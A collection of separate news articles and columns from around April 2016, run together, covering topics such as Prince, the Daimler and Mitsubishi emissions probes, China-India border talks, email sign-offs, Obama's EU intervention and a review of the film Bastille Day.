He once approached a woman friends warned was a stalker whod sit outside his Paisley Park record studio in Minneapolis. As he explained in a New Yorker interview Hey, all my friends in there say youre a stalker. And that I should call the police. But I dont want to do that, so why dont you tell me what you want to happen. Why are you here? How do you want this to end? And she didnt really have an answer for that. In the end, all she wanted was to be seen, for me to look at her. And she left and didnt come back.

He experimented.

In 2004, Prince sold more than 600,000 copies of his Musicology album thanks to a non-traditional sales move. Those who bought tickets to his sold-out arena shows received a copy of the album. The move drove sales and inspired Billboard to tweak its album tallying policy. Three years later he gave away copies of his album Planet Earth to subscribers of The Daily Mail, moving 3 million copies. Princes take? Its direct marketing. The move was closely watched by an embattled music industry more fully aware of how artists could cut them out of the music sales equation.

He wasnt a slave to his fanbase.

When his legal team demanded certain Prince images be removed from fan websites, fans united against him. Prince responded with a special diss track about those fans, even threatening to knock them out. I dont care so much what people say about me, he explained later in a rare television interview. Its usually a reflection of who they are. The approach helped set him apart. And when it came to the fans hed dissed -- it only made them love him more.

He understood persona.

Yes, he wore velvet and heels. But he was also a man from Minneapolis who wore white socks with sandals and whose first tweet was of his dinner. Prince didnt hide that he was human -- but knew how to craft something more intriguing. As he explained in an interview Sexiness is in the mind. When you lose that, its just old skin.

He could write.

We could talk about rendering characters in just a few lines, like the woman from Raspberry Beret who walks in through the out door. But often his music did more, even as it was written to inspire and even challenge. It made us move. Who is strong enough to sit still through Lets Go Crazy, whose lyrics are actually a maudlin reflection on the pointlessness of life? Prince can acknowledge a dark reality and still get you to dance. If the elevator tries 2 bring u down / Punch a higher floor. Prince knew how to get a crowd to rally.

Related:

How This Company Is Driving Down Energy Bills

Remembering Prince: What The Purple One Can Teach You About Creativity

Sign O' the Times: Everything That Went Purple For Prince



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STAMFORD  A city man who leaped over the White House fence on Thanksgiving Day to deliver his own version of the Constitution rejected an offer on Thursday to settle his case, which his attorney argued was merely an expression of free speech.

Joseph Caputo, 22, who had pleaded not guilty to a misdemeanor charge of unlawful entry onto restricted grounds, appeared Thursday with his Stamford attorney, Stephan Seeger, in federal court in Washington, D.C., and declined to accept a plea bargain that would have kept him out of jail.

Seeger said Caputos actions that day are protected by the same rights every American has to free speech, expression and protest, and his client was not willing to accept the consequences of a conviction.

Protests of all different sorts are tolerated in the name of free speech for good reason, Seeger said. We gain transparency in government and the free and mutual exchange of ideas. We have an open-dialog society.

The plea agreement also called for Caputo to admit to the incident and acknowledge he knew what he did was wrong  which the former University of Bridgeport student wasnt willing to do, Seeger said.

A federal judge has given Seeger 30 days to file a brief to support dismissing the charges on free speech grounds. Depending on the judges ruling, Seeger will decide if its in his clients best interests to go to trial.

As I have said before, Joe Caputo is not the poster child for increased security at the White House, Seeger said. He is a passive young man with political views he wants to express.

Caputo vaulted the fence wearing white pants, sneakers and an American flag tied around his neck like a cape while carrying his rendition of the Constitution in a binder clenched in his teeth.

Caputo said he had no intention of harming President Barack Obama, who was sitting down to Thanksgiving dinner with his family at the time. He said he wanted to share his thoughts on what the country should stand for.

Following his arrest by the U.S. Secret Service, Caputo was released into the custody of his mother, given an 8 p.m. curfew, continues to be electronically monitored and had his passport taken away until the case is resolved.

The unlawful entry charge carries a maximum penalty of one year in jail and a $250,000 fine. Caputo, who has Aspergers syndrome, was also ordered to undergo a psychiatric evaluation.

Caputo spent 72 hours following the incident under observation in the psychiatric ward of a Washington, D.C. hospital.

jnickerson@scni.com;
Beijing: China and India should "meet each other halfway" to reach a "fair and reasonable" political solution to the border dispute acceptable to both sides, the Chinese Foreign Ministry has said in an indication of Beijing's willingness to make concessions on the vexed issue.

As National Security Advisor Ajit Doval, who along with his Chinese counterpart Yang Jiechi held border talks, concluded his visit here, China said in a statement that both sides had in-depth and candid exchanges on the boundary question, bilateral relations and relevant international and regional issues.

"Both sides agreed that the negotiation on China-India boundary maintains a positive momentum, with boundary disputes effectively controlled and boundary regions generally peaceful and stable," said the statement on the boundary talks held on April 20-21.

"Starting from the big picture of long-term development of bilateral relations, both sides will, with the positive attitude of mutual respect and understanding and on the basis of existing results from negotiations, stay on the track of political settlement, stick to peaceful negotiations to resolve the boundary question, meet each other halfway and continue to promote the process of framework negotiation so as to strive for a fair and reasonable solution that both sides accept," the statement posted on the foreign ministry website said.

China has rarely publicly talked about meeting India "half way" on the vexed boundary dispute. The reference to both the countries to stay on track for a political settlement is seen as significant as officials on both side say negotiations have reached a stage for the political leadership on both sides to take a decision to reach a solution.

Doval's predecessor, Shivshankar Menon, who represented India in several rounds of the border talks, said in 2014 during a meeting here that all the technical work has been done and it is for the leaders of both the countries to take a call.

"In the meantime, the two countries should properly manage and handle disputes, strengthen consultations on boundary affairs and well safeguard peace and tranquillity in boundary regions so as to create favourable conditions for the development of bilateral relations," the statement said.

It said both sides shared the view that the development of China-India relations is of great significance and has broad prospects.

"China and India have far more common interests than differences. Marked by President Xi Jinping's visit to India in 2014 and the visit paid by Prime Minister Narenda Modi of India to China in 2015, China-India relations have entered a new era of comprehensive and rapid development," it said.
I f you want to get rich, start by studying the people who have already done so.

"The only person who can teach you how to think like a millionaire is a millionaire," writes Steve Siebold in his book, "How Rich People Think".

The same could be said about billionaires.

Below, we've rounded up 11 habits of self-made billionaires. You may notice that none of them require dramatic life changes  a few tweaks here and there to your daily routine could result in huge gains.

They meditate

Science says that meditation has a number of mental and physical health benefits, from improving memory to boosting the immune system.

Ray Dalio, founder of Bridgewater Associates, told The Huffington Post, "Meditation, more than anything in my life, was the biggest ingredient of whatever success I've had."

Dalio is not alone. Jack Dorsey, CEO of both Twitter and Square, and media mogul Oprah Winfrey say that they practice meditation daily.

They're charitable

"The world class set their sights on impacting the world with their wealth," Siebold writes. "Some do it through philanthropy, others through business or various financial vehicles."

A handful of billionaires have taken to philanthropy, including founder and CEO of Bloomberg Media Michael Bloomberg, who has donated $3 billion over his lifetime.

And then there's the Giving Pledge, which Warren Buffett and Bill and Melinda Gates created in order to invite the world's wealthiest people to pledge more than half of their wealth to charitable causes either during their lives or in their wills. Some have even pledged to give away more than 99% of their fortunes.

They wake up early

Sir Richard Branson has an estimated net worth of $5 billion (Michael Kovac/Getty Images ) / Michael Kovac/Getty Images

There may be some truth behind the age-old adage: The early bird gets the worm.

The wealthiest people tend to be early risers. Take Jack Dorsey, who wakes up at 5:00 a.m. to meditate and work out. Or Richard Branson, founder of the Virgin Group, who wakes up at 5:45 a.m. to exercise before starting his workday.

Branson and Dorsey aren't the only successful people who wake up before the sun. In his five-year study of rich people, author Thomas C. Corley found that nearly 50% of them woke up at least three hours before their workday actually began.

They stick to routines

A hallmark of highly successful people is their dedication to ritual.

Take John Paul DeJoria, cofounder of Patron tequila and Paul Mitchell hair products, who starts every day with five minutes of quiet reflection.

"Doesn't matter where I'm at, which home I'm in, or what hotel room I'm visiting," he says. "The very second I wake up, I stay in bed for about five minutes and just be."

They live below their means

Bill Gates has an estimated net worth of $78 billion / AP Photo/Nati Harnik

Just because they have billions in the bank doesn't mean they have to indulge in overspending  in fact, some of the world's wealthiest people choose to live frugally.

As Murray Newlands wrote at Entrepreneur, "Sam Walton, the founder of Wal-Mart, famously drove around in a 1979 Ford F150 pickup truck ... Mark Zuckerberg owns a modest $30,000 Acura TSX entry-level sedan ... Bill Gates was known to fly commercial for years."

Then there's legendary investor Warren Buffett, who is notably down to earth  he still lives in the same $31,500 home, and chooses a flip phone over a smartphone.

They pursue their passion

Steve Jobs had an estimated net worth of $10 billion / Justin Sullivan/Getty Images

"You've got to find what you love," Apple cofounder Steve Jobs said during his 2005 commencement address to the graduates of Stanford University. "The only way to do great work is to love what you do. If you haven't found it yet, keep looking. Don't settle. As with all matters of the heart, you'll know when you find it."

Jobs wasn't the first to emphasise the importance of pursuing your passion. Author Napoleon Hill, who studied over 500 incredibly rich people in the early 20th century, wrote in his bestseller, "Think and Grow Rich": "No man can succeed in a line of endeavor which he does not like."

They read

Warren Buffett has an estimated net worth of $69 billion / Rick Wilking/Reuters

Many of the world's most successful people are avid readers.

As Business Insider's Shana Lebowitz wrote:

"Investing legend Warren Buffett reportedly spends about 80% of his day reading, and continues to include book recommendations in his annual shareholder letters.

In 2015, Facebook's Mark Zuckerberg resolved to read a book every two weeks ... Media mogul Oprah Winfrey selects a book every month for readers to discuss online as part of "Oprah's Book Club 2.0," and when tech billionaire Elon Musk is asked how he learned to build rockets, he reportedly answers, "I read books."

They develop multiple streams of income

The richest people focus on earning  so it comes as no surprise that they develop additional streams of income.

Richard Branson, the billionaire chair of the Virgin Group, epitomizes this habit, Corley explains in "Change Your Habits, Change Your Life." Branson has overseen about 500 companies and his brand is on somewhere between 200 and 300 of them.

Branson "puts the rich habit of having multiple streams of income on steroids," Corley writes. "His desire to expand the Virgin brand is really a desire to expand his streams of income. Branson learned very early on that this rich habit creates the most wealth."

They're self-employed

Along the same lines, billionaires tend to be their own bosses. They're typically self-employed and determine the size of their own paycheck.

Mark Zuckerberg has been working for himself since age 19, when he first launched Facebook as a Harvard sophomore in 2004. Snapchat CEO Evan Spiegel, who is the youngest billionaire in the world, had a similar path  he created the popular photo-sharing app with two of his former Stanford classmates and has been his own boss ever since.

"It's not that there aren't world-class performers who punch a time clock for a paycheck, but for most this is the slowest path to prosperity, promoted as the safest," says self-made millionaire Steve Siebold, who has also studied over 1,200 wealthy individuals. "The great ones know self-employment is the fastest road to wealth."

They exercise

Highly successful people don't just push themselves in the office  they push themselves physically, outside of the office.

Mark Cuban, "Shark Tank" investor and owner of the Dallas Mavericks, does cardio for at least an hour, six to seven days a week, he told The Dallas Morning News.

Branson credits exercise for giving him at least four additional hours of productivity each day. Science concurs: Working out can boost your memory, concentration, and mental sharpness.

They hang out with other successful people

The wealthiest people like to stand next to the smartest person in the room, notes author and podcast host James Altucher: "Harold Ramis did it (Bill Murray). Steve Jobs did it (Steve Wozniak). Craig Silverstein did it (Who? Larry Page). Kanye West did it (Jay-Z)."

After all, "In most cases, your net worth mirrors the level of your closest friends," Siebold explains.
T he emissions crisis which has battered Japans Mitsubishi has spread to German Mercedes-Benz carmaker Daimler.

Daimler is the latest company to come under the spotlight in the wake of the cheating debacle which first engulfed Volkswagen last year.

The US Department of Justice has demanded it probe possible indications of irregularities in its emissions certification, prompting Daimler to launch an official investigation.

The company is also facing a class-action lawsuit from owners of Daimlers Mercedes-Benz BlueTEC diesels  which claims the cars are programmed in a way that lets them emit illegal levels of emissions  although the firm denies the claims and says it is unrelated to the DoJs intervention.

Mitsubishi, meanwhile, is at the centre of the worst sell-off since its float in 1988: shares slumped 16% on Friday.

The company admitted earlier this week that it manipulated tests to exaggerate the fuel performance of more than 600,000 cars in Japan by as much as 10%. Shares have lost 42% of their value in the past three days.

The first signs of Mitsubishis crisis spreading outside Japan also emerged after US regulators asked for information on its vehicles sold in the US and local media reports suggested the company may not yet have disclosed all the models involved in the scandal.

French carmaker PSA Peugeot Citroen has also been raided by fraud-busters this week.

Daimlers emissions probe came alongside a 32% slump in first-quarter profits to 1.4 billion (1.1 billion) as the launch costs of its E-Class saloon weighed on the bottom line.

Daimlers directors are hoping that the profit blow will be a temporary setback as customers flock to the new model.

The E-Class is full of high-tech features including the ability to park it from outside using a smartphone app. It can also share information with other cars over potential traffic jams.
W riting an email isn't so hard, but figuring out how to sign off can be a real challenge.

Is "cheers" too casual? Too pretentious? Is "sincerely" timeless and professional, or stodgy and overly formal?

Perhaps, as Matthew J.X. Malady persuasively argued at Slate, we should just call the whole thing off and ditch email sign offs altogether.

But as anyone who has sat staring blankly at a screen, weighing "best" vs. "all best" vs. "all the best" knows, not signing off doesn't feel quite right, either  especially if the context is professional.

"Not closing seems way too abrupt," business etiquette expert Barbara Pachter tells Business Insider. "If you have a salutation, you should have a closing to balance it out."

Will Schwalbe, one of the authors "SEND: Why People Email So Badly and How to Do It Better," agrees, pointing out that "we don't go around in life barking orders at one another and we shouldn't on email either."

And, manners aside, the email close serves a practical function. It helps "define the personality of the email's content," says Aliza Licht, author of the career guide "Leave Your Mark."

It's also an opportunity to define or redefine your relationship to your correspondent, Schwalbe adds. A shift from "love" to "best," for example, indicates that you may have a problem.

If we accept  at least for the moment  that email sign-offs are here to stay, the question becomes which one to use, and in what contexts to use it.

We had Pachter, Schwalbe, and Licht weigh in on 28 common email closings. Here are the ones they say to avoid in most situations  and which one to use when you're just not sure.

THE WINNER: 'Best'

All three experts agree that "best" is among the safest possible choices, inoffensive, and almost universally appropriate.

So when in doubt, go with "best".

'Best': the perfect way to sign off an email / Corbis

Sign-offs to avoid in most situations:

'Thanks'

"Fine if it's for a favour the person has done, but obnoxious if it's a command disguised as premature gratitude," Schwalbe says.

Licht agrees. It "comes off as not really that thankful," she says. While it doesn't particularly bother Pachter, the consensus is that you can probably do better. Skip.

'Thanks again'

Again, Schwalbe and Licht aren't fans.

It's "even worse then 'thanks' if it's a command and not genuine gratitude," he says.

'Thanks!'

Everyone agrees that what Schwalbe calls the "whole 'thanks' family" really makes sense only when you're genuinely thanking someone for an actual thing they did for you.

That said, the exclamation-point version is Licht's go-to for internal communication when she's expressing actual gratitude. It's happy and sincere, she says. Schwalbe, too, considers himself a general "fan of exclamation points," within reason.

'Thanks so much'

Licht and Pachter think it's fine. Schwalbe has had enough of my questions about the "thanks" family.

'TTYL,' 'TAFN,' etc.

Avoid slang and acronyms, like TTYL ("talk to you later") or TAFN ("that's all for now"). These are unprofessional and confusing.

'All best'

Pachter notes that, in general, the rule is that the more words you use, the more formal the closing, which makes "all best" slightly more formal than "best." Licht, though, isn't a fan of this one, calling it "too effusive."

"Are you really sending ALL your best, or just some?"

Still, it's a relatively safe choice.

'Best wishes'

"Ever so slightly more formal than 'all best' or 'best,' it's a good one for initial contact," Schwalbe says. Licht thinks it's "stuffy." Another pretty low-risk option.

'Sincerely'

"Is this a cover letter? Because otherwise, no," says Licht.

"Very formal, and could seem cold if it follows more intimate sign-offs," Schwalbe cautions.

But Pachter feels that it all depends on the opening salutation. If you began with "dear," then "sincerely" is appropriate, she says.

'Looking forward'

Totally fine, they agree  assuming you're actually going to see that person in the near future. Otherwise, skip it.

'Speak with you soon'

"Only if you really want to," Schwalbe says.

If you don't, though, it's not a good option.

'Talk soon'

The more casual cousin of "speak with you soon," this one follows pretty much the same rules as its relative. If you actually will be talking soon, it's fine  though Licht isn't sold on it). If you don't actually plan to talk soon, it's insincere.

'More soon'

"You are committing yourself to a second reply," Schwalbe cautions. "Do you really want to do that? Or should you just take a moment and answer the thing properly right now?"

Licht feels even more strongly.

"Promises can be forgotten," she says. "Under-promise, over-deliver."

Skip.

'xx'

"Absolutely not," says Pachter, who feels that it's just not professional. But Schwalbe says that it has become "remarkably accepted even in casual (very casual) business correspondence."

That said, it's "best to use in reply to someone else who is using and not initiate."

Licht says that she uses a version of it herself  "Aliza x"  for "friendly yet professional" notes, but agrees you have to have a "pre-existing close relationship."

Use cautiously.

'xoxo'

Ironically, it's the hugs, not the kisses that make this one inappropriate. While "xx" may have a place in the working world, "xoxo" is "really for dear friends and people with whom you are even more intimate," Schwalbe says.

'Warmly'

A fan of the whole "warm" family, Schwalbe thinks that "warmly" is less formal than "sincerely," but a little more formal than the whole "best" family, and Pachter likes it, too.

Licht, however, is unimpressed.

"Snorefest," she says.

'Warmest'

This one is unexpectedly controversial: Schwalbe likes it, Licht thinks it's a "double snorefest," and Pachter finds it "a little teenage."

Tread carefully.

'Cheers'

"It's fine," Pachter says, though she's not sold on it.

"It always seems a bit like you want to be Australian," Schwalbe says.

To Licht, it seems "pretentious, unless you're actually British."

Schwalbe suggests a test: Would you say it to people in person? If so, go for it."

 [your name]

Licht and Schwalbe agree that it's "cold" and "abrupt."

First initial ('A.')

The problem here is confusion.

"I personally don't like it," Pachter says. "What does it stand for? I guess it's okay, but it's not something I would do."

Schwalbe points out that unless you know someone well, it's annoying because "you aren't telling them what to call you. If I do 'W,' people don't know if I'm 'Will' or 'William.'"

[nothing at all]

While it's "absolutely fine as a chain progresses," Schwalbe says, "it's nice to end the first volley with a sign off."

Once a conversation is under way, though, Pachter approves of getting rid of both the salutation and the close.

'Yours'

"I never understood this one," Licht says. "Yours what?"

If you are going to use it, though, Schwalbe says that it's one of the more formal options, though it's not quite as formal as "sincerely."

'Yours truly'

According to Pachter's "more words, more formal" rule, this is a step above "yours."

Still, Licht says it strikes her as "fake."

'Yours faithfully'

"I always assume it's going to be a marriage proposal," Pachter says.

Don't use it.

'Respectfully'

"A little stiff," Schwalbe says. "Also, it brings to mind, for people of a certain age, Diana Ross singing 'Upside Down.'"

Unless you're addressing the US president, Licht says it's too formal.

If you do happen to be addressing POTUS, though, you're on the right track. A variation  "respectfully yours"  is indeed the standard close for addressing government officials and clergy, Pachter says.

'Regards'

"Hate, hate, hate," says Licht, though she says that she hates the supposedly more casual abbreviated version  "Rgds"  even more. "It's like you're so busy you can't even spell it."

Schwalbe, however, doesn't mind it.

"Nice," he says, noting that it's "a little formal." Think of it as the equivalent to the "warm" family, he advises.

'Take care'

Licht gives it a lukewarm "ehh," and Schwalbe says it provokes anxiety.

"I feel this is akin to 'safe travels,' albeit with a slightly medical connotation." It makes him "a bit paranoid," he says. "Like you know I'm in danger and I don't."

'Looking forward to hearing from you'

A minefield of power dynamics, this one is "a bit presumptuous, but fine if you are doing a favor for someone," Schwalbe says.

It's not fine, however, if you're the one asking.

Plus, as Licht points out, it puts you in a "subservient position where you can't take action, but must wait for the other person's cue."
H SBC has become the target of protesters as it held its annual shareholder meeting in Westminster.

Tax campaigners dressed in ill-fitting City suits and sporting bowler hats joined forces with demonstrators from Move Your Money protesting against the banks funding for controversial Columbian coal miner Drummond.

David Hillman, spokesperson for the Robin Hood Tax Campaign said: Another year, another huge dollop of cream for HSBCs fat cats. But with profits down, people are rightly outraged at such bumper pay-outs in a rather bumpy year for the bank.

Despite the protests shareholders resoundingly backed the banks pay policy which saw chief executive Stuart Gulliver receive 7.34 million and chairman Douglas Flint 2.5 million last year.

Profits fell 7% last year to $20.4 billion.

Flint told shareholders that while HSBC was not taking a stand on Brexit its own economic research indicated that Britain would be better off staying within the EU.
R ussia this week won a major court victory against the shareholders of Yukos, the oil giant seized by the state from jailed oligarch Mikhail Khodorkovsky. The shareholders  mainly exiled oligarchs  were told a 2014 ruling in the Hague stating Russia should compensate them with $50 billion was nonsense.

Why should we care? Because Russia will now be able to suspend a London High Court case in November aimed at freezing its state-owned assets in the UK.

The London case promised to be fascinating. Not only did it promise to be the biggest UK asset forfeiture ever, but it promised to lift the veil on possibly billions of pounds of secret Russian assets. Embassies are out of bounds, but the equivalent case in France just unearthed a big chunk of land by the Eiffel Tower.

Here, it could range from bank accounts to similar tranches of property in central London.

Id wager thered be much the authorities in Russia, and its London intermediaries, would rather we didnt know about. Now, we possibly never will. Vodkas all round at this weeks ruling, then.
U ber has agreed to pay up to $100 million (70 million) to settle a pair of US lawsuits that mean the minicab app gets to keep drivers as contractors rather than employees.

In a case that has gripped Silicon Valley and sparked protests against the controversial tech firm, a lawsuit had claimed drivers are employees and should be entitled to reimbursement of expenses.

The agreement will spare Uber from a jury trial in San Francisco that was set for June.

As part of the settlement, which must be approved by a judge, Uber will stump up $84 million to be distributed to 385,000 drivers in California and Massachusetts. A further $16 million could be paid, subject to conditions.

The firm will also work to create a drivers association in both states and revise practices such as deactivating drivers from the app without much warning.

In a blog post titled growing and growing up, Uber chief executive Travis Kalanick said: We havent always done a good job working with drivers.
P resident Obama only arrived in Britain last night but hes hit the ground running with an article in a newspaper today calling for Britain to stick with the EU. Hell follow this with other warnings against Brexit during his stay. The President prudently observes that the issue is a matter for the British people to decide but he makes it clear that the US has an interest in the outcome: Britain articulates American values and interests in Brussels.Naturally, the US wants it to continue doing so.

Interestingly, his comments could play a part in the outcome. This paper publishes a poll today suggesting Mr Obamas intervention could persuade one in five waverers to vote Remain, especially among the young. His explicit support for Britains membership of the EU has wounded Brexiters, most of whom set a good deal of store by the transatlantic alliance. Its hard for them to make an argument from the Special Relationship if the US says that, actually, it would prefer Britain in the EU, not out.

The President, however, will also be discussing joint security issues with the Prime Minister, notably the fight against Islamic State in Iraq and Syria. There, the embarrassing reality is that the Russians have made the running in driving back IS. Mr Obama has recently, with justification, criticised the failure of Britain and France to follow intervention in Libya in 2011 with action to prevent its subsequent collapse: the upshot is that IS forces now have a secure base there. Libya is a problem we shall have to confront one way or another, sooner rather than later.

Mr Obama is also quite entitled to point out that Britain is a less useful ally here and elsewhere because of the Governments drastic reduction in the number of ground forces to about 80,000. Earlier this week it emerged that it could only claim to be fulfilling its pledge to spend two per cent of GDP on defence by resorting to creative accounting. If Britain values the Anglo-American alliance, and it is worth defending, we cant leave the heavy lifting on defence to the Americans. Thats true in the EU or out.

Live democracy

Last nights mayoral hustings at the Royal Geographical Society was an excellent instance of the value of live encounter between the two main candidates in the presence of an engaged and questioning audience.

There were significant areas of agreement between the Tories Zac Goldsmith and Labours Sadiq Khan but also notable differences. Under close questioning from the moderator, Kirsty Wark, it emerged that Mr Goldsmith would not raise council tax as mayor, but Mr Khan might. There is in fact a case for raising council tax at the top end of the market  high-value properties are under-taxed  but it took the hustings to bring out the difference.

There was also an interesting difference in emphasis on housing: Mr Khan dwelt on the number of new homes he would build; Mr Goldsmith made clear he also wanted any new homes to enhance the built environment. These are important issues: it took a hustings to bring them out.

Death of pop royalty

The death yesterday of Prince, pop royalty, has robbed the world of one of musics greatest creative spirits. Indeed, his brilliance was so intense that he remained at the forefront of any number of genres, despite largely eschewing modern methods of music marketing. He had a particular affinity with London. After a sell-out residency at the O2 in 2007, his comeback tour in 2014 saw him thrill crowds at idiosyncratic venues including the Roundhouse and Koko in Camden. He will be much mourned and sorely missed.
I t's rather nice, that triumphal arch from Palmyra in Trafalgar Square, isnt it? Or rather, the scaled-down copy, replicated by means of exciting 3D technology. The original is in bits back in Syria, courtesy of Islamic State, which blew it up a few months ago, along with a couple of pagan (ie, pre-Islamic) temples. IS didnt blow up the winged bulls and other artefacts, though; they took a hammer or drill to them instead.

Anyway, safe in Trafalgar Square, the arch was a backdrop for any number of selfies; its attracting a surprising number of people, given that it doesnt have a notice saying what its a model of. Eventually itll make its way to Palmyra to stand near the original.

My first reflection on seeing it was to thank God for the enterprising, acquisitive Victorians who took the precaution of removing Assyrian antiquities from places like Nineveh and bringing them back to London; you can count yourself lucky to see friezes from Nimrud in the British Museum because you wont be seeing them in Iraq.

My second was again to applaud the Victorians, whose instinct on seeing ancient remains was, if not actually to remove them, to take plaster cast moulds and bring them home. A bit like our 3-D technology, only better. In the case of Lord Elgin and the Parthenon Marbles, he started out taking plaster casts and then thought hed just take the marbles. Quite the best bit of the V&A is its plaster cast gallery.

But what the arch should really do is prompt us to discourage Islamists from destroying other cultural artefacts. Id see them hang for it myself.

We should certainly look again at making the wilful destruction of antiquities a bona fide war crime. Right now weve got the relatively toothless 1954 Hague Convention to protect artefacts in war, which the Government hasnt got around to signing yet. In fact, we should be recognising the destruction of antiquities by IS for what it is: an act of cultural genocide meant to obliterate the memory of a pre-Muslim past.

This is not to say we shouldnt be taking seriously more conventional genocide by IS. On Tuesday I attended a meeting where a Yazidi girl, 16, told MPs about being captured by IS at 15 and raped. She saw the rape of a nine-year-old girl too, who died as a result.

Thanks to the efforts of Fiona Bruce MP and Lord Alton, the Government is set to recognise IS actions against Yazidis and Christians as genocide. Good. But the IS destruction of pagan and Christian remains is no less a bid to obliterate people by destroying their past: its genocide by other means.

Incidentally, unless someone intervenes to prevent IS expanding in Libya, itll be doing the same in Leptis Magna, the peerless Roman site. How much room is going in Trafalgar Square?

Satire only works if its good

It is, I suppose, good news that German MPs may overturn the law allowing the TV satirist Jan Bohmermann to be prosecuted for his rude poem about the Turkish leader, Recep Tayyip Erdogan, involving goats.

Naturally, free-speech fanciers have rallied behind Bohmermann. And The Spectator is running a competition inviting readers to write their own poem insulting Mr Erdogan.

The trouble with this kind of competitive rudery is that it doesnt make for particularly good satire.

A bit like Charlie Hebdo, then. Naturally we all rallied around the French satirists when they were shot by terrorists in Paris but in truth they were rubbish. As the genuinely brilliant New York cartoonist Ed Koren told me: Id have shot them myself for bad art. Quite.

Willy Wonka, eat your heart out

Time was, I never thought Id get to buy Quinoa, Raspberry and Acai Dark Chocolate Bar in M&S  price 1.50. In fact, time was I wouldnt have eaten it. Quinoa! But actually, its very good, even though its a bit up itself.

We are in a golden age of chocolate. I knew it when Hotel Chocolat came out with its Supermilk range, high in cocoa and low in sugar (thats the crucial bit) and was, to all intents and purposes, a health food but rather delicious with it, especially with hazelnuts.

Then theres the single-estate chocolate at Tesco  Peruvian, if you please  for less than two quid. Or the fabulous high-cocoa, 49 per cent one in Waitrose for 1.60. This is the equivalent of designer clothes at Primark.

I am as partial to a Malteser as the next woman but this is a cocoa revolution: bona fide chocolate, only good for you in, ahem, moderation.

Friends, weve come a long way from Dairy Milk.

Obamas lost the plot over the EU

Barack Obama pulls few punches in his Daily Telegraph article today urging Britain to stay in the European Union. How interesting that he mentions the war: The tens of thousands of Americans who rest in Europes cemeteries are a silent testament to just how intertwined our prosperity and security truly are, he writes. Really?

The American soldiers in war graves may have died to save Europe, or democracy, in the Second World War but one thing they didnt die for was the EU. The real nub of the thing is where the President goes on to say the UK in the EU keeps the European Union ... closely linked to its allies on the other side of the Atlantic. In other words, Brits in Brussels voice American values. Thats not a bad thing and this is a good argument. But lets not confuse self-interest with altruism, shall we?
Review at a glance









W hat is an action hero? Somebody whos better at thumping than thinking. And so far as that goes, Idris Elba is your man. If you dont think hed make a better Bond than that diffident Mr Hiddleston after seeing this, you need your head examined. Or possibly bounced forcefully off a wall a few times.

Bastille Days British director, James Watkins (42, Nottingham-born) says pretty frankly: I wanted to make a big Friday night out film. And thats exactly what hes done. Its only his third film as director, his career having started with the stunning low-budget hoodie-horror Eden Lake of 2008, starring Michael Fassbender, Kelly Reilly and Jack OConnell, disdained by the high-minded social commentator Owen Jones as having given chavs a bad name. Dearie me. Still: quite thrilling.

Watkins followed it up in 2012 with the slow-burn horror of The Woman in Black, with Daniel Radcliffe, properly terrifying and the most financially successful British horror film yet. Bastille Day is not horror, just non-stop action, in the Bourne mould, which is to say in the Bond mould.

It does involve a bomb going off and mass demos in Paris, which is a little unfortunate given what has happened since it was made in autumn 2014, but theres no need to make anything of that.

TODO: define component type brightcove

Things start with a right show-stopper on the steps of Sacre-Coeur: a beautiful girl (Stephane Caillard, barely credited) walks by, completely nude, eliciting gasps. I would have liked to have seen, well, not more, but longer of her  but shes not the point. For as the film tells us, several times, its all about the distraction.

As she passes, a handsome young American pickpocket, Michael (played by Richard Madden, Robb Stark in Game of Thrones and the Prince in Cinderella), is nicking wallets, phones and passports galore from the men whose heads have been turned. Sadly, after paying her off, he mutters You can do better than me, and thats the end of her role, except for a brief appearance telling the cops she dont know nuffink. Sad!

Instead we go to meet our hero, Briar (Elba), being given a talking to, or in other words a rough-and-ready back story, by his CIA superiors in Paris. Youre a field guy. You took down six suspects who you alone had determined were carrying explosives, says his nerdy boss, as though this were a very bad thing to have done. Reckless, insubordinate and irresponsible towards human assets  do you recognise that description? he asks angrily. Luckily, Briar has a good friend in the department, Karen Dacre (lovely Kelly Reilly again), and when that bomb goes off hes on the case straightaway.

Tough nut: Idris Elba as Briar, a CIA agent in Paris

Another pretty girl, Zoe (French-Canadian actress Charlotte Le Bon), has been duped by the man she believes loves her into planting a bomb, supposedly in the empty offices of the French Nationalist Party (Votez Blanc!), but she panics when she sees that in fact the office is full of innocent and, as it happens, black cleaners and takes the bomb, hidden in a bag, away again with her. Seeing her on the street, distracted, evidently with something significant in the bag, our chancer Michael nicks that too. Not seeing anything in it worth having, he bins it  and boom!

Now Briar, a massive, ominous presence, is on to Michael  but Michael, although a titch in comparison, has plenty of tricks up his own sleeve. Their first big scene together is a rooftop chase  youve seen a rooftop chase before, perhaps? It involves running over rooftops  over Paris, truly quite frightening because they both seem to be wearing hard leather shoes with no grip, and slide all over the place, whereas as any fule kno, if youre going to bound over tiles you need your squeegiest trainers.

James Watkins directs all the flights and fights brilliantly, close up but with real spatial clarity and coherent sequence, handheld cameras shaking, lots of subjective points of view taking you right in there. Crash, bang, wallop. Great stuff. Im not interested in CGI which creates scenes that defeat the laws of physics, says Watkins. The directors of the superhero movies should be made to swear to that on pain of career-death, perhaps having it tattooed up one arm and down the other, as a reminder.

Eventually Briar and Michael come together as an uneasy team, after a rough interrogation. Briar also wants to know why Michael our pickpocket was running away if he was innocent. Have you seen yourself? asks Michael. A fair point really, since Elba, when hes giving you his hard look, is a terrifying prospect, quite apart from being twice the size of everybody else and with less hesitation about resorting to whacking people than you expect, every time, even when the last time was only a couple of minutes ago.

Here he gets whacked back quite a lot too, since his opponents turn out to be rather expert in this exercise as well, but it never troubles him much. What does trouble him more is thinking things through: that seems really to pain him. Theres a scene where he discovers that a body he thought was that of a terrorist is actually that of a cop, so he has to recalibrate who the baddies really are, and you can see the thinking going on right there in his face: so, then, if, oh... But then the bashing starts up again at top speed.

Bastille Day is in both French and English and has some of the same francophile appeal as great TV thrillers such as Spin (Les Hommes de lOmbre). Its refreshing to see things kick off every now and then with Cest parti! rather than Go, go, go!, dont you find?

Idris Elba, when hes giving you his hard look, is a terrifying prospect

It could be objected that the French in general do not come off very well in this film, a large part of the plot involving dimbo student demonstrators being manipulated by social media  Release the last hashtag! But never mind. Actually, they missed a trick there, they could have said: Release Owen Jones!

So theres Friday night sorted, theres Elbas application to be the next James Bond forcefully posted. The only weakness in that regard is that, inexplicably, he also sings, sort of sings, the closing credits theme tune, The Road Less Travelled by Fatboy Slim (Norman Cook). Hasnt he seen those Fast Show sketches in which Dennis Waterman repeatedly turns down parts unless he can do the feme tune as well (Mr MacBeff is a naughty man, do do do do...)? I hope the Bond producers dont hold it against him.

Cert 15, 92 mins

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Review at a glance









